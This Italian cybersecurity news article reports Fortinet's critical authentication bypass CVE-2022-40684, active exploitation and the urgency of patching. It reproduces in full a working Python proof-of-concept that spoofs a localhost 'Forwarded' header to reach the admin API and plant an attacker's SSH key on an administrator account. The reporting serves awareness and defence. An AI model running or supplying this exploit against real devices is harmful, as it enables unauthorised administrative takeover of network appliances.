Red Hot Cyber
Condividi la tua difesa. Incoraggia l'eccellenza. La vera forza della cybersecurity risiede nell'effetto moltiplicatore della conoscenza.
Cerca
TM RedHotCyber 970x120 042543
Banner Ancharia Mobile 1
Il PoC di sfruttamento dell’Authentication Bypass di Fortinet è online

Il PoC di sfruttamento dell’Authentication Bypass di Fortinet è online

Redazione RHC : 14 Ottobre 2022 15:14

Fortinet ha recentemente corretto una vulnerabilità critica di bypass dell’autenticazione nei progetti FortiOS, FortiProxy e FortiSwitchManager (CVE-2022-40684). Questa vulnerabilità offre a un utente malintenzionato la possibilità di accedere come amministratore al sistema interessato.

È stato reso disponibile un codice exploit proof-of-concept (PoC), rendendo di fatto ancora più essenziale l’installazione delle patch prodotte dal vendor, qualora non siano impostati gli aggiornamenti automatizzati.

“FortiOS espone il portale web di gestione che consente a un utente di configurare il sistema”


Enterprise

Prova la Demo di Business Log! Adaptive SOC italiano
Log management non solo per la grande Azienda, ma una suite di Audit file, controllo USB, asset, sicurezza e un Security Operation Center PERSONALE, che ti riporta tutte le operazioni necessarie al tuo PC per tutelare i tuoi dati e informati in caso di problemi nel tuo ambiente privato o di lavoro. Scarica ora la Demo di Business Log per 30gg


Supporta Red Hot Cyber attraverso: 

  1. L'acquisto del fumetto sul Cybersecurity Awareness
  2. Ascoltando i nostri Podcast
  3. Seguendo RHC su WhatsApp
  4. Seguendo RHC su Telegram
  5. Scarica gratuitamente “Byte The Silence”, il fumetto sul Cyberbullismo di Red Hot Cyber

Se ti piacciono le novità e gli articoli riportati su di Red Hot Cyber, iscriviti immediatamente alla newsletter settimanale per non perdere nessun articolo. La newsletter generalmente viene inviata ai nostri lettori ad inizio settimana, indicativamente di lunedì.

ha affermato il ricercatore di sicurezza dell’azienda Horizon3.ai James Horseman .

“Inoltre, un utente può SSH nel sistema che espone un’interfaccia CLI bloccata.”

#!/usr/bin/python3
import argparse
import json
import requests
import urllib3
requests.packages.urllib3.disable_warnings()
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


HEADERS = {
    'User-Agent': 'Report Runner',
    'Forwarded': 'for="[127.0.0.1]:8888";by="[127.0.0.1]:8888"'
}

def format_key(key_file):
    with open(key_file) as f:
        k = f.read().strip()

    return(k)


def add_key(target, username, key_file):
    key = format_key(key_file)
    j = {
        "ssh-public-key1": '\"' + key + '\"'
    }
    url = f'https://{target}/api/v2/cmdb/system/admin/{username}'
    r = requests.put(url, headers=HEADERS, json=j, verify=False)
    if 'SSH key is good' not in r.text:
        print(f'[-] {target} is not vulnerable!')
    else:
        print(f'[+] SSH key for {username} added successfully!')

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', help='The IP address of the target', required=True)
    parser.add_argument('-u', '--username', help='The user to add an SSH key file for', required=True)
    parser.add_argument('-k', '--key-file', help='The SSH key file', required=True)
    args = parser.parse_args()

    add_key(args.target, args.username, args.key_file)

Il problema, rilevato come CVE-2022-40684 (punteggio CVSS: 9,6), riguarda una vulnerabilità di bypass dell’autenticazione che potrebbe consentire a un utente malintenzionato remoto di eseguire operazioni dannose sull’interfaccia amministrativa tramite richieste HTTP(S) appositamente predisposte.

Sfruttare con successo la carenza, equivale a garantire l’accesso completo “per fare qualsiasi cosa” sul sistema interessato, inclusa la modifica delle configurazioni di rete, l’aggiunta di utenti malintenzionati e l’intercettazione del traffico di rete.

Il rilascio del PoC arriva quando Fortinet ha avvertito di essere a conoscenza di uno sfruttamento attivo della falla di sicurezza, spingendo la Cybersecurity and Infrastructure Security Agency (CISA) degli Stati Uniti a emettere un avviso che esorta le agenzie federali a correggere il problema entro novembre 1, 2022.

La società di intelligence sulle minacce GreyNoise ha rilevato 12 indirizzi IP univoci che utilizzavano la CVE-2022-40684 a partire dal 13 ottobre 2022, la maggior parte dei quali si trova in Germania, seguita da Stati Uniti, Brasile, Cina e Francia.

Immagine del sitoRedazione
La redazione di Red Hot Cyber è composta da un insieme di persone fisiche e fonti anonime che collaborano attivamente fornendo informazioni in anteprima e news sulla sicurezza informatica e sull'informatica in generale.

Lista degli articoli

Articoli in evidenza

Immagine del sito
Altro che Marketing! Le VPN si vendono da sole ogni volta che un governo blocca i siti per adulti
Di Redazione RHC - 11/11/2025

Centinaia di milioni di utenti di smartphone hanno dovuto affrontare il blocco dei siti web pornografici e l’obbligo di verifica dell’età. Nel Regno Unito è in vigore la verifica obbligatoria de...

Immagine del sito
Sicurezza Wi-Fi: Evoluzione da WEP a WPA3 e Reti Autodifensive
Di Francesco Demarcus - 11/11/2025

Dalle fragilità del WEP ai progressi del WPA3, la sicurezza delle reti Wi-Fi ha compiuto un lungo percorso. Oggi, le reti autodifensive rappresentano la nuova frontiera: sistemi intelligenti capaci d...

Immagine del sito
Inside Out: perché la Tristezza è il tuo miglior firewall
Di Daniela Farina - 11/11/2025

Siamo ossessionati da firewall e crittografia. Investiamo miliardi in fortezze digitali, ma le statistiche sono inesorabili: la maggior parte degli attacchi cyber non inizia con un difetto nel codice,...

Immagine del sito
Alle Origini di UNIX: il Nastro dei Bell Labs ritrovato in uno scantinato dell’Università dello Utah
Di Redazione RHC - 10/11/2025

Un raro ritrovamento risalente ai primi giorni di Unix potrebbe riportare i ricercatori alle origini stesse del sistema operativo. Un nastro magnetico etichettato “UNIX Original From Bell Labs V4 (V...

Immagine del sito
21 anni di Firefox: una storia di innovazione e indipendenza
Di Redazione RHC - 10/11/2025

Il 9 novembre ha segnato il 21° anniversario di Firefox 1.0. Nel 2004, è stata la prima versione stabile del nuovo browser di Mozilla, che si è subito posizionato come un’alternativa semplice e s...